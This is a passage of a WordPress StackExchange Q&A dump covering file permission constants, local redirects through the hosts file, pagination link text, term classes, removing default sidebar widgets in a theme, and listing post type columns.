These 2 contexts are relationnal. The **data** is defined by its **entity** and the **process** is defined by its **logic**. These 2 contexts are then transmutable into a common programming pattern - OOP...
The `WP_Post` object is an **entity** holding and defined by - its **data**. It's what we call a [Domain Model Object](https://en.wikipedia.org/wiki/Domain_model). Though, since it doesn't include any [Domain Logic](https://en.wikipedia.org/wiki/Business_logic), design purists may call it an [Anemic Domain Model Object](https://en.wikipedia.org/wiki/Anemic_domain_model) instead.
The `WP_Query` object is a **process** (service). In fact, it is defined by the domain **logic** of our `WP_Post` object with for example:
```
$the_query->have_posts();
$the_query->the_post();
```
[The WP Loop](https://codex.wordpress.org/The_Loop) itself iterates through the `WP_Query::$posts` and is in charge of switching context (the **global** `$post` object).
From within The Loop:
* `WP_Query::the_post()` initializes the **global** `$post`. You then can access the `$post` data via, for example, `get_the_ID()` or `$post->ID`.
* `WP_Query::have_posts()` checks if there are other `WP_Query::$posts` to iterate through. |
253,950 | <p>The Codex notes that <code>wp-config.php</code> can be used to over-ride file permissions by adding:</p>
<pre><code>define('FS_CHMOD_FILE', 0644);
define('FS_CHMOD_DIR', 0755);
</code></pre>
<p>Having done this... why then, when using an ftp app to view the permissions of a file, are they shown as different?</p>
<p>For example, by ftp I set <code>wp-config.php</code> to 600 before modifying it - and by ftp it still appears to be 600 rather than the 644 set in <code>wp-config.php</code>.</p>
| [
{
"answer_id": 253952,
"author": "codiiv",
"author_id": 91561,
"author_profile": "https://wordpress.stackexchange.com/users/91561",
"pm_score": 1,
"selected": false,
"text": "<p>1) Make sure the wp-config.php doesn't have multisite reference settings such as <code>define(\"DOMAIN_CURRENT_SITE\", \"somesite.com\" );</code>. If it does, delete these settings</p>\n\n<p>2) If you have updated <code>siteurl</code> and <code>home</code> settings in the <code>*_options</code> table to use local settings and it still doesn't work, then </p>\n\n<p>3) Delete all themes but a basic one (twentytwelve, twentythirteen,...) and delete all plugins. In this way, you are running the Wordpress core functionality. </p>\n\n<p>4) If that still doesn't work, clear the cache of your browser or try a different potent browser. </p>\n\n<p>5) If all this doesn't work, you may be faced with a network configuration issue and I think it goes beyond the scope of this question ? </p>\n"
},
{
"answer_id": 253958,
"author": "Tunji",
"author_id": 54764,
"author_profile": "https://wordpress.stackexchange.com/users/54764",
"pm_score": 1,
"selected": false,
"text": "<p>If you've updated the options in the dtabase and are still getting redirected.</p>\n\n<p>You can also define both the <code>WP_SITEURL</code> and <code>WP_HOME</code> in your test <strong>wp-config.php</strong> </p>\n\n<pre><code>define( 'WP_SITEURL', 'http://example.com.mytestdomain.com' );\ndefine( 'WP_HOME', 'http://example.com.mytestdomain.com' );\n</code></pre>\n"
},
{
"answer_id": 254110,
"author": "KnightHawk",
"author_id": 50492,
"author_profile": "https://wordpress.stackexchange.com/users/50492",
"pm_score": 0,
"selected": false,
"text": "<p>If you are on windows you can change your hosts file to point the url to the local host ip. A similar process on Mac. Either way you won't have to change the db as you will be changing your local hosts file to point that url back to the host machine. It's actually more convenient because there is no need to change the website at all. </p>\n\n<p>(On mobile right now otherwise i would add detailed instructions on this add i keep a reference file at home for myself)</p>\n\n<p>NOTE: some plugins may be affected by this. Notably (and not actually a plugin) is the search and replace tool from interconnectit.com.</p>\n\n<p><strong>UPDATE</strong>: (adding excerpt from my own notes)</p>\n\n<p><em>Windows</em></p>\n\n<p>1) add this line to the Windows Hosts file C:\\WINDOWS\\system32\\drivers\\etc\\hosts</p>\n\n<pre><code>#BEGIN CUSTOM\n127.0.0.1 yourwebsite.com\n#END CUSTOM\n</code></pre>\n\n<p><em>MAC</em></p>\n\n<p>1) add this line to the Apple Hosts file /private/etc/\n(I use terminal command nano /etc/hosts)</p>\n\n<pre><code>#BEGIN CUSTOM\n127.0.0.1 yourwebsite.com\n#END CUSTOM\n</code></pre>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253950",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103213/"
]
| The Codex notes that `wp-config.php` can be used to over-ride file permissions by adding:
```
define('FS_CHMOD_FILE', 0644);
define('FS_CHMOD_DIR', 0755);
```
Having done this... why then, when using an ftp app to view the permissions of a file, are they shown as different?
For example, by ftp I set `wp-config.php` to 600 before modifying it - and by ftp it still appears to be 600 rather than the 644 set in `wp-config.php`. | 1) Make sure the wp-config.php doesn't have multisite reference settings such as `define("DOMAIN_CURRENT_SITE", "somesite.com" );`. If it does, delete these settings
2) If you have updated `siteurl` and `home` settings in the `*_options` table to use local settings and it still doesn't work, then
3) Delete all themes but a basic one (twentytwelve, twentythirteen,...) and delete all plugins. In this way, you are running the Wordpress core functionality.
4) If that still doesn't work, clear the cache of your browser or try a different potent browser.
5) If all this doesn't work, you may be faced with a network configuration issue and I think it goes beyond the scope of this question ? |
253,974 | <p>I set the pagination parameters in functions.php and echoed where I want the links to appear, so far so good.</p>
<p>The problem is that the previous and next texts are not modifying. I put a random text to see what appears. The texts of the images below are shown, they are even translated into my language (pt-br)...</p>
<p>How can i modify them?</p>
<p><a href="https://i.stack.imgur.com/X3Cf7.png" rel="noreferrer"><img src="https://i.stack.imgur.com/X3Cf7.png" alt="enter image description here"></a></p>
<p><a href="https://i.stack.imgur.com/46I1x.png" rel="noreferrer"><img src="https://i.stack.imgur.com/46I1x.png" alt="enter image description here"></a></p>
<pre><code><?php $args = array(
'base' => '%_%',
'format' => '?paged=%#%',
'total' => 1,
'current' => 0,
'show_all' => false,
'end_size' => 1,
'mid_size' => 2,
'prev_next' => true,
'prev_text' => __('jdsjj'),
'next_text' => __('jhdsh'),
'type' => 'list',
'add_args' => false,
'add_fragment' => '',
'before_page_number' => '',
'after_page_number' => ''); ?>
<!-- Pagination links echoed in my home page -->
<?php echo paginate_links( $args ); ?>
</code></pre>
| [
{
"answer_id": 253979,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 2,
"selected": false,
"text": "<p>are you using WordPress in default <code>\"en\"</code> language? there might be a translations of <code>prev_text</code> & <code>next_text</code> stored in <code>\"po/mo\"</code> files. & if you are using language other then default then maybe the system is using translated string from <code>mo</code> file. \ntry removing these two keys and values from array for a while to see what happens.</p>\n\n<pre><code>'prev_text' => __('jdsjj'),\n'next_text' => __('jhdsh'),\n</code></pre>\n\n<p>also after that trial remove <code>get text</code> helper function too. and see the result.</p>\n\n<pre><code>'prev_text' => 'jdsjj',\n'next_text' => 'jhdsh',\n</code></pre>\n\n<p>if the problem is because of <code>\"Languages\"</code> then the complete solution is to rewrite all of your <code>mo</code> files from up to date <code>pot</code></p>\n"
},
{
"answer_id": 254087,
"author": "Gabriel Souza",
"author_id": 111513,
"author_profile": "https://wordpress.stackexchange.com/users/111513",
"pm_score": 4,
"selected": true,
"text": "<p>I found out a way that you can place any text. You just need to create an array where you want the paginate_links to appear.</p>\n\n<pre><code><!-- Put this in your functions.php -->\n<?php $args = array(\n 'base' => '%_%',\n 'format' => '?paged=%#%',\n 'total' => 1,\n 'current' => 0,\n 'show_all' => false,\n 'end_size' => 1,\n 'mid_size' => 2,\n 'add_args' => false,\n 'add_fragment' => '',\n 'before_page_number' => '',\n 'after_page_number' => ''); ?>\n\n<!-- Put this where you want the paginate_links to appear -->\n<?php echo paginate_links( array(\n\n 'prev_text' => '<span>Any text Previous</span>',\n 'next_text' => '<span>Any text Next</span>'\n\n)); ?>\n</code></pre>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253974",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111513/"
]
| I set the pagination parameters in functions.php and echoed where I want the links to appear, so far so good.
The problem is that the previous and next texts are not modifying. I put a random text to see what appears. The texts of the images below are shown, they are even translated into my language (pt-br)...
How can i modify them?
[](https://i.stack.imgur.com/X3Cf7.png)
[](https://i.stack.imgur.com/46I1x.png)
```
<?php $args = array(
'base' => '%_%',
'format' => '?paged=%#%',
'total' => 1,
'current' => 0,
'show_all' => false,
'end_size' => 1,
'mid_size' => 2,
'prev_next' => true,
'prev_text' => __('jdsjj'),
'next_text' => __('jhdsh'),
'type' => 'list',
'add_args' => false,
'add_fragment' => '',
'before_page_number' => '',
'after_page_number' => ''); ?>
<!-- Pagination links echoed in my home page -->
<?php echo paginate_links( $args ); ?>
``` | I found out a way that you can place any text. You just need to create an array where you want the paginate\_links to appear.
```
<!-- Put this in your functions.php -->
<?php $args = array(
'base' => '%_%',
'format' => '?paged=%#%',
'total' => 1,
'current' => 0,
'show_all' => false,
'end_size' => 1,
'mid_size' => 2,
'add_args' => false,
'add_fragment' => '',
'before_page_number' => '',
'after_page_number' => ''); ?>
<!-- Put this where you want the paginate_links to appear -->
<?php echo paginate_links( array(
'prev_text' => '<span>Any text Previous</span>',
'next_text' => '<span>Any text Next</span>'
)); ?>
``` |
253,994 | <p>Working in WordPress PHP I am trying to pass a value into class tag of an element</p>
<blockquote>
<pre><code><div class="element-item"></div>
</code></pre>
</blockquote>
<p>to be like </p>
<blockquote>
<p><code><div class="element-item comedy"></div></code></p>
</blockquote>
<pre><code>$term = get_the_term_list( get_the_ID(), 'type' );
echo '<div class="element-item '.$term.'">';
</code></pre>
<p>the value is pupping out of the class tag and display on the page!</p>
<p><a href="https://i.stack.imgur.com/j3xG0.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/j3xG0.png" alt="enter image description here"></a></p>
<p>I checked the source code and it seems that I am passing entire a link to the class tag!
Canadian</p>
<p>can you please let me know why this is happening and how I can fix it?</p>
| [
{
"answer_id": 253999,
"author": "qworx",
"author_id": 111778,
"author_profile": "https://wordpress.stackexchange.com/users/111778",
"pm_score": 0,
"selected": false,
"text": "<pre><code>echo '<div class=\"element-item '.$term.'\">';\n</code></pre>\n\n<p>Seems like the ' is closing? Have you tried this?</p>\n\n<pre><code>echo '<div class=\"element-item \\'.$term.\\'\">';\n</code></pre>\n\n<p>or</p>\n\n<pre><code>echo \"<div class=\\\"element-item $term\\\">\";\n</code></pre>\n\n<p><a href=\"https://secure.php.net/manual/en/regexp.reference.escape.php\" rel=\"nofollow noreferrer\">https://secure.php.net/manual/en/regexp.reference.escape.php</a></p>\n"
},
{
"answer_id": 254004,
"author": "nibnut",
"author_id": 111316,
"author_profile": "https://wordpress.stackexchange.com/users/111316",
"pm_score": 2,
"selected": false,
"text": "<p>Right, that's because \"get_the_term_list\" returns an html string of tags... Those won't work well as class attributes! : )</p>\n\n<p>I suspect what you want is <a href=\"https://codex.wordpress.org/Function_Reference/wp_get_post_terms\" rel=\"nofollow noreferrer\">wp_get_post_terms</a> instead:</p>\n\n<pre><code>$terms = wp_get_post_terms( get_the_ID(), 'type', array('fields' => 'slugs') ); // array of term slugs\necho '<div class=\"element-item'.implode(' ', $terms).'\">';\n</code></pre>\n\n<p>Hope this helps!</p>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/253994",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/31793/"
]
| Working in WordPress PHP I am trying to pass a value into class tag of an element
>
>
> ```
> <div class="element-item"></div>
>
> ```
>
>
to be like
>
> `<div class="element-item comedy"></div>`
>
>
>
```
$term = get_the_term_list( get_the_ID(), 'type' );
echo '<div class="element-item '.$term.'">';
```
the value is pupping out of the class tag and display on the page!
[](https://i.stack.imgur.com/j3xG0.png)
I checked the source code and it seems that I am passing entire a link to the class tag!
Canadian
can you please let me know why this is happening and how I can fix it? | Right, that's because "get\_the\_term\_list" returns an html string of tags... Those won't work well as class attributes! : )
I suspect what you want is [wp\_get\_post\_terms](https://codex.wordpress.org/Function_Reference/wp_get_post_terms) instead:
```
$terms = wp_get_post_terms( get_the_ID(), 'type', array('fields' => 'slugs') ); // array of term slugs
echo '<div class="element-item'.implode(' ', $terms).'">';
```
Hope this helps! |
254,016 | <p>This should be easy right? Removing Archives and Meta from the sidebars of two of my main WP pages. I can't seem to! I've looked in <strong>Appearance > Widgets</strong> and made sure Archives and Meta was not appearing in any fields. I have checked my Theme's (<a href="https://wordpress.org/themes/fruitful/" rel="nofollow noreferrer">Fruitful</a>) options in Customizer--playing with the width layout, and I have tried diddle dallying with some of the PHP files and CSS to see if I could remove by deleting some things. Deleting is the most I can do. Since I am no means a code writer.</p>
<p>Any ideas? </p>
| [
{
"answer_id": 254018,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 1,
"selected": false,
"text": "<p>The theme is set up so that if a sidebar is inactive, default content will be shown (search form, monthly archives, and meta).</p>\n\n<p>For example, the <code>sidebar.php</code> file:</p>\n\n<pre><code><?php\n/**\n * The Sidebar containing the main widget areas.\n *\n * @package WordPress\n * @subpackage Fruitful theme\n * @since Fruitful theme 1.0\n */\n?>\n<div id=\"secondary\" class=\"widget-area\" role=\"complementary\">\n <?php do_action( 'before_sidebar' ); ?>\n <?php if ( ! dynamic_sidebar( 'sidebar-1' ) ) : ?>\n\n <aside id=\"search\" class=\"widget widget_search\">\n <?php get_search_form(); ?>\n </aside>\n\n <aside id=\"archives\" class=\"widget\">\n <h1 class=\"widget-title\"><?php _e( 'Archives', 'fruitful' ); ?></h1>\n <ul>\n <?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>\n </ul>\n </aside>\n\n <aside id=\"meta\" class=\"widget\">\n <h1 class=\"widget-title\"><?php _e( 'Meta', 'fruitful' ); ?></h1>\n <ul>\n <?php wp_register(); ?>\n <li><?php wp_loginout(); ?></li>\n <?php wp_meta(); ?>\n </ul>\n </aside>\n\n <?php endif; // end sidebar widget area ?>\n</div><!-- #secondary .widget-area -->\n</code></pre>\n\n<p>You can override the theme's <code>sidebar.php</code> file by creating a <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">child theme</a> and adding your own customized <code>sidebar.php</code> file to it. E.g.:</p>\n\n<pre><code><?php\n/**\n * The Sidebar containing the main widget areas.\n *\n * @package WordPress\n * @subpackage Fruitful child theme\n * @since Fruitful child theme 1.0\n */\n?>\n\n<div id=\"secondary\" class=\"widget-area\" role=\"complementary\">\n <?php do_action( 'before_sidebar' ); ?>\n <?php dynamic_sidebar( 'sidebar-1' ); ?>\n</div><!-- #secondary .widget-area -->\n</code></pre>\n\n<p>The theme uses several sidebars (<code>sidebar.php</code>, <code>sidebar-blogright.php</code>, <code>sidebar-homepage.php</code>, <code>sidebar-page.php</code>, <code>sidebar-single-post.php</code> plus the store related sidebars, which are set up differently) so follow this procedure for each sidebar that you would like to modify using the appropriate sidebar name when calling <code>dynamic_sidebar()</code>.</p>\n"
},
{
"answer_id": 366945,
"author": "Dark_Knight",
"author_id": 188358,
"author_profile": "https://wordpress.stackexchange.com/users/188358",
"pm_score": 0,
"selected": false,
"text": "<p>Updated for 2020, </p>\n\n<p>Goto Appearance ---> Customize ---> Widget\n<strong>(Note: If there is no APPEARANCE OPTION click on DESIGN and CUSTOMIZE)</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/oce4t.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oce4t.png\" alt=\"enter image description here\"></a></p>\n\n<p>Next Click on ADD WIDGETS. Notice that side navigation is present.</p>\n\n<p><a href=\"https://i.stack.imgur.com/IVntS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IVntS.png\" alt=\"enter image description here\"></a></p>\n\n<p>After clicking on ADD WIDGET, scroll down the list to NAVIGATION MENU and select it.</p>\n\n<p><a href=\"https://i.stack.imgur.com/8McKg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8McKg.png\" alt=\"enter image description here\"></a></p>\n\n<p>Notice that side pane navigation is gone. You don't have to add nothing to NAVIGATION MENU. LEAVE IT BLANK. CLICK SAVE CHANGES. </p>\n\n<p>I handle my navigation by text hyperlinks within the body of my page by highlighting text content. Gives cleaner appearance in my opinion.</p>\n\n<p><a href=\"https://i.stack.imgur.com/b0sGZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/b0sGZ.png\" alt=\"enter image description here\"></a></p>\n"
}
]
| 2017/01/25 | [
"https://wordpress.stackexchange.com/questions/254016",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111788/"
]
| This should be easy right? Removing Archives and Meta from the sidebars of two of my main WP pages. I can't seem to! I've looked in **Appearance > Widgets** and made sure Archives and Meta was not appearing in any fields. I have checked my Theme's ([Fruitful](https://wordpress.org/themes/fruitful/)) options in Customizer--playing with the width layout, and I have tried diddle dallying with some of the PHP files and CSS to see if I could remove by deleting some things. Deleting is the most I can do. Since I am no means a code writer.
Any ideas? | The theme is set up so that if a sidebar is inactive, default content will be shown (search form, monthly archives, and meta).
For example, the `sidebar.php` file:
```
<?php
/**
* The Sidebar containing the main widget areas.
*
* @package WordPress
* @subpackage Fruitful theme
* @since Fruitful theme 1.0
*/
?>
<div id="secondary" class="widget-area" role="complementary">
<?php do_action( 'before_sidebar' ); ?>
<?php if ( ! dynamic_sidebar( 'sidebar-1' ) ) : ?>
<aside id="search" class="widget widget_search">
<?php get_search_form(); ?>
</aside>
<aside id="archives" class="widget">
<h1 class="widget-title"><?php _e( 'Archives', 'fruitful' ); ?></h1>
<ul>
<?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>
</ul>
</aside>
<aside id="meta" class="widget">
<h1 class="widget-title"><?php _e( 'Meta', 'fruitful' ); ?></h1>
<ul>
<?php wp_register(); ?>
<li><?php wp_loginout(); ?></li>
<?php wp_meta(); ?>
</ul>
</aside>
<?php endif; // end sidebar widget area ?>
</div><!-- #secondary .widget-area -->
```
You can override the theme's `sidebar.php` file by creating a [child theme](https://codex.wordpress.org/Child_Themes) and adding your own customized `sidebar.php` file to it. E.g.:
```
<?php
/**
* The Sidebar containing the main widget areas.
*
* @package WordPress
* @subpackage Fruitful child theme
* @since Fruitful child theme 1.0
*/
?>
<div id="secondary" class="widget-area" role="complementary">
<?php do_action( 'before_sidebar' ); ?>
<?php dynamic_sidebar( 'sidebar-1' ); ?>
</div><!-- #secondary .widget-area -->
```
The theme uses several sidebars (`sidebar.php`, `sidebar-blogright.php`, `sidebar-homepage.php`, `sidebar-page.php`, `sidebar-single-post.php` plus the store related sidebars, which are set up differently) so follow this procedure for each sidebar that you would like to modify using the appropriate sidebar name when calling `dynamic_sidebar()`. |
254,030 | <p>I have a managed server with several WP and non-WP sites, and code has been prepended to the content of all files (for all domains on the sever) which begin with a php command.</p>
<p>I'm wondering whether the cause was a vulnerability or password-guess in one WP install, or instead a guess of the ftp password or other reason.</p>
| [
{
"answer_id": 254018,
"author": "Dave Romsey",
"author_id": 2807,
"author_profile": "https://wordpress.stackexchange.com/users/2807",
"pm_score": 1,
"selected": false,
"text": "<p>The theme is set up so that if a sidebar is inactive, default content will be shown (search form, monthly archives, and meta).</p>\n\n<p>For example, the <code>sidebar.php</code> file:</p>\n\n<pre><code><?php\n/**\n * The Sidebar containing the main widget areas.\n *\n * @package WordPress\n * @subpackage Fruitful theme\n * @since Fruitful theme 1.0\n */\n?>\n<div id=\"secondary\" class=\"widget-area\" role=\"complementary\">\n <?php do_action( 'before_sidebar' ); ?>\n <?php if ( ! dynamic_sidebar( 'sidebar-1' ) ) : ?>\n\n <aside id=\"search\" class=\"widget widget_search\">\n <?php get_search_form(); ?>\n </aside>\n\n <aside id=\"archives\" class=\"widget\">\n <h1 class=\"widget-title\"><?php _e( 'Archives', 'fruitful' ); ?></h1>\n <ul>\n <?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>\n </ul>\n </aside>\n\n <aside id=\"meta\" class=\"widget\">\n <h1 class=\"widget-title\"><?php _e( 'Meta', 'fruitful' ); ?></h1>\n <ul>\n <?php wp_register(); ?>\n <li><?php wp_loginout(); ?></li>\n <?php wp_meta(); ?>\n </ul>\n </aside>\n\n <?php endif; // end sidebar widget area ?>\n</div><!-- #secondary .widget-area -->\n</code></pre>\n\n<p>You can override the theme's <code>sidebar.php</code> file by creating a <a href=\"https://codex.wordpress.org/Child_Themes\" rel=\"nofollow noreferrer\">child theme</a> and adding your own customized <code>sidebar.php</code> file to it. E.g.:</p>\n\n<pre><code><?php\n/**\n * The Sidebar containing the main widget areas.\n *\n * @package WordPress\n * @subpackage Fruitful child theme\n * @since Fruitful child theme 1.0\n */\n?>\n\n<div id=\"secondary\" class=\"widget-area\" role=\"complementary\">\n <?php do_action( 'before_sidebar' ); ?>\n <?php dynamic_sidebar( 'sidebar-1' ); ?>\n</div><!-- #secondary .widget-area -->\n</code></pre>\n\n<p>The theme uses several sidebars (<code>sidebar.php</code>, <code>sidebar-blogright.php</code>, <code>sidebar-homepage.php</code>, <code>sidebar-page.php</code>, <code>sidebar-single-post.php</code> plus the store related sidebars, which are set up differently) so follow this procedure for each sidebar that you would like to modify using the appropriate sidebar name when calling <code>dynamic_sidebar()</code>.</p>\n"
},
{
"answer_id": 366945,
"author": "Dark_Knight",
"author_id": 188358,
"author_profile": "https://wordpress.stackexchange.com/users/188358",
"pm_score": 0,
"selected": false,
"text": "<p>Updated for 2020, </p>\n\n<p>Goto Appearance ---> Customize ---> Widget\n<strong>(Note: If there is no APPEARANCE OPTION click on DESIGN and CUSTOMIZE)</strong></p>\n\n<p><a href=\"https://i.stack.imgur.com/oce4t.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/oce4t.png\" alt=\"enter image description here\"></a></p>\n\n<p>Next Click on ADD WIDGETS. Notice that side navigation is present.</p>\n\n<p><a href=\"https://i.stack.imgur.com/IVntS.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IVntS.png\" alt=\"enter image description here\"></a></p>\n\n<p>After clicking on ADD WIDGET, scroll down the list to NAVIGATION MENU and select it.</p>\n\n<p><a href=\"https://i.stack.imgur.com/8McKg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8McKg.png\" alt=\"enter image description here\"></a></p>\n\n<p>Notice that side pane navigation is gone. You don't have to add nothing to NAVIGATION MENU. LEAVE IT BLANK. CLICK SAVE CHANGES. </p>\n\n<p>I handle my navigation by text hyperlinks within the body of my page by highlighting text content. Gives cleaner appearance in my opinion.</p>\n\n<p><a href=\"https://i.stack.imgur.com/b0sGZ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/b0sGZ.png\" alt=\"enter image description here\"></a></p>\n"
}
]
| 2017/01/26 | [
"https://wordpress.stackexchange.com/questions/254030",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/103213/"
]
| I have a managed server with several WP and non-WP sites, and code has been prepended to the content of all files (for all domains on the sever) which begin with a php command.
I'm wondering whether the cause was a vulnerability or password-guess in one WP install, or instead a guess of the ftp password or other reason. | The theme is set up so that if a sidebar is inactive, default content will be shown (search form, monthly archives, and meta).
For example, the `sidebar.php` file:
```
<?php
/**
* The Sidebar containing the main widget areas.
*
* @package WordPress
* @subpackage Fruitful theme
* @since Fruitful theme 1.0
*/
?>
<div id="secondary" class="widget-area" role="complementary">
<?php do_action( 'before_sidebar' ); ?>
<?php if ( ! dynamic_sidebar( 'sidebar-1' ) ) : ?>
<aside id="search" class="widget widget_search">
<?php get_search_form(); ?>
</aside>
<aside id="archives" class="widget">
<h1 class="widget-title"><?php _e( 'Archives', 'fruitful' ); ?></h1>
<ul>
<?php wp_get_archives( array( 'type' => 'monthly' ) ); ?>
</ul>
</aside>
<aside id="meta" class="widget">
<h1 class="widget-title"><?php _e( 'Meta', 'fruitful' ); ?></h1>
<ul>
<?php wp_register(); ?>
<li><?php wp_loginout(); ?></li>
<?php wp_meta(); ?>
</ul>
</aside>
<?php endif; // end sidebar widget area ?>
</div><!-- #secondary .widget-area -->
```
You can override the theme's `sidebar.php` file by creating a [child theme](https://codex.wordpress.org/Child_Themes) and adding your own customized `sidebar.php` file to it. E.g.:
```
<?php
/**
* The Sidebar containing the main widget areas.
*
* @package WordPress
* @subpackage Fruitful child theme
* @since Fruitful child theme 1.0
*/
?>
<div id="secondary" class="widget-area" role="complementary">
<?php do_action( 'before_sidebar' ); ?>
<?php dynamic_sidebar( 'sidebar-1' ); ?>
</div><!-- #secondary .widget-area -->
```
The theme uses several sidebars (`sidebar.php`, `sidebar-blogright.php`, `sidebar-homepage.php`, `sidebar-page.php`, `sidebar-single-post.php` plus the store related sidebars, which are set up differently) so follow this procedure for each sidebar that you would like to modify using the appropriate sidebar name when calling `dynamic_sidebar()`. |
254,038 | <p>I want to get all columns from all post types like this:</p>
<pre><code>$postTypes = get_post_types();
$allColumns = array();
foreach($postTypes as $type){
$allColumns[$type] = get_post_type_columns($type);
}
function get_post_type_columns($type){
$columns = array();
//implement
return $columns;
}
</code></pre>
<p>How to actually get post type columns for a specific post type, regardless of the page context? Where are the columns stored in database actually? Can this be done with a custom WP query?</p>
<p>If you go to any page in WordPress that lists all posts for a post type (e.g. edit.php) you can see all columns listed in screen options.</p>
| [
{
"answer_id": 254048,
"author": "prosti",
"author_id": 88606,
"author_profile": "https://wordpress.stackexchange.com/users/88606",
"pm_score": 1,
"selected": false,
"text": "<blockquote>\n <p>How to actually get post type columns for a specific post type</p>\n</blockquote>\n\n<p>All post types should be inside the <code>wp_posts</code> table inside your database, if you haven't used the custom prefix.</p>\n\n<p>This table has the following structure.</p>\n\n<pre><code>Column Type Comment\nID bigint(20) unsigned Auto Increment \npost_author bigint(20) unsigned [0] \npost_date datetime [0000-00-00 00:00:00] \npost_date_gmt datetime [0000-00-00 00:00:00] \npost_content longtext \npost_title text \npost_excerpt text \npost_status varchar(20) [publish] \ncomment_status varchar(20) [open] \nping_status varchar(20) [open] \npost_password varchar(255) [] \npost_name varchar(200) [] \nto_ping text \npinged text \npost_modified datetime [0000-00-00 00:00:00] \npost_modified_gmt datetime [0000-00-00 00:00:00] \npost_content_filtered longtext \npost_parent bigint(20) unsigned [0] \nguid varchar(255) [] \nmenu_order int(11) [0] \npost_type varchar(20) [post] \npost_mime_type varchar(100) [] \ncomment_count bigint(20) [0] \n</code></pre>\n\n<hr>\n\n<p>If you need more info about the posts types you have on your system refer to the global variable <code>$wp_post_types</code>.</p>\n\n<p>This variable is an array holding <code>WP_Post_Type Object</code>s, where the first one is like this:</p>\n\n<pre><code>[post] => WP_Post_Type Object\n (\n [name] => post\n [label] => Posts\n [labels] => stdClass Object\n (\n [name] => Posts\n [singular_name] => Post\n [add_new] => Add New\n [add_new_item] => Add New Post\n [edit_item] => Edit Post\n [new_item] => New Post\n [view_item] => View Post\n [view_items] => View Posts\n [search_items] => Search Posts\n [not_found] => No posts found.\n [not_found_in_trash] => No posts found in Trash.\n [parent_item_colon] => \n [all_items] => All Posts\n [archives] => Post Archives\n [attributes] => Post Attributes\n [insert_into_item] => Insert into post\n [uploaded_to_this_item] => Uploaded to this post\n [featured_image] => Featured Image\n [set_featured_image] => Set featured image\n [remove_featured_image] => Remove featured image\n [use_featured_image] => Use as featured image\n [filter_items_list] => Filter posts list\n [items_list_navigation] => Posts list navigation\n [items_list] => Posts list\n [menu_name] => Posts\n [name_admin_bar] => Post\n )\n\n [description] => \n [public] => 1\n [hierarchical] => \n [exclude_from_search] => \n [publicly_queryable] => 1\n [show_ui] => 1\n [show_in_menu] => 1\n [show_in_nav_menus] => 1\n [show_in_admin_bar] => 1\n [menu_position] => 5\n [menu_icon] => \n [capability_type] => post\n [map_meta_cap] => 1\n [register_meta_box_cb] => \n [taxonomies] => Array\n (\n )\n\n [has_archive] => \n [query_var] => \n [can_export] => 1\n [delete_with_user] => 1\n [_builtin] => 1\n [_edit_link] => post.php?post=%d\n [cap] => stdClass Object\n (\n [edit_post] => edit_post\n [read_post] => read_post\n [delete_post] => delete_post\n [edit_posts] => edit_posts\n [edit_others_posts] => edit_others_posts\n [publish_posts] => publish_posts\n [read_private_posts] => read_private_posts\n [read] => read\n [delete_posts] => delete_posts\n [delete_private_posts] => delete_private_posts\n [delete_published_posts] => delete_published_posts\n [delete_others_posts] => delete_others_posts\n [edit_private_posts] => edit_private_posts\n [edit_published_posts] => edit_published_posts\n [create_posts] => edit_posts\n )\n\n [rewrite] => \n [show_in_rest] => 1\n [rest_base] => posts\n [rest_controller_class] => WP_REST_Posts_Controller\n )\n</code></pre>\n\n<p>Hope this helps.</p>\n"
},
{
"answer_id": 254150,
"author": "gradosevic",
"author_id": 108814,
"author_profile": "https://wordpress.stackexchange.com/users/108814",
"pm_score": 0,
"selected": false,
"text": "<p>I don't really like answering my own questions, but here is a solution that worked for me, it could help someone.</p>\n\n<p>This is made inside a plugin (you can just paste it at the end of Hello Dolly to test it)</p>\n\n<pre><code>//The first thing is to load WordPress core classes that will be used\nrequire_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );\nrequire_once( ABSPATH . 'wp-admin/includes/class-wp-posts-list-table.php' );\n\n//Create a helper class from existing WordPress core class\nclass PostTypeColumnsHelper extends WP_Posts_List_Table{\n public function setPostType($type){\n $this->screen->post_type = $type;\n }\n}\n\n//create a function to collect the columns\nfunction get_column_names(){\n $postColumns = array();\n $c = new PostTypeColumnsHelper();\n\n $types = get_post_types();\n foreach($types as $type){\n $c->setPostType($type);\n $postColumns[$type] = $c->get_columns();\n }\n print_r($postColumns);die;\n}\n\n//call function for collecting column names, once admin is ready\nadd_action( 'admin_init', 'get_column_names' );\n</code></pre>\n\n<p>OUTPUT EXAMPLE:</p>\n\n<pre><code>Array\n(\n [post] => Array\n (\n [cb] => <input type=\"checkbox\" />\n [title] => Title\n [author] => Author\n [categories] => Categories\n [tags] => Tags\n [comments] => <span class=\"vers comment-grey-bubble\" title=\"Comments\"><span class=\"screen-reader-text\">Comments</span></span>\n [date] => Date\n )\n\n [page] => Array\n (\n [cb] => <input type=\"checkbox\" />\n [title] => Title\n 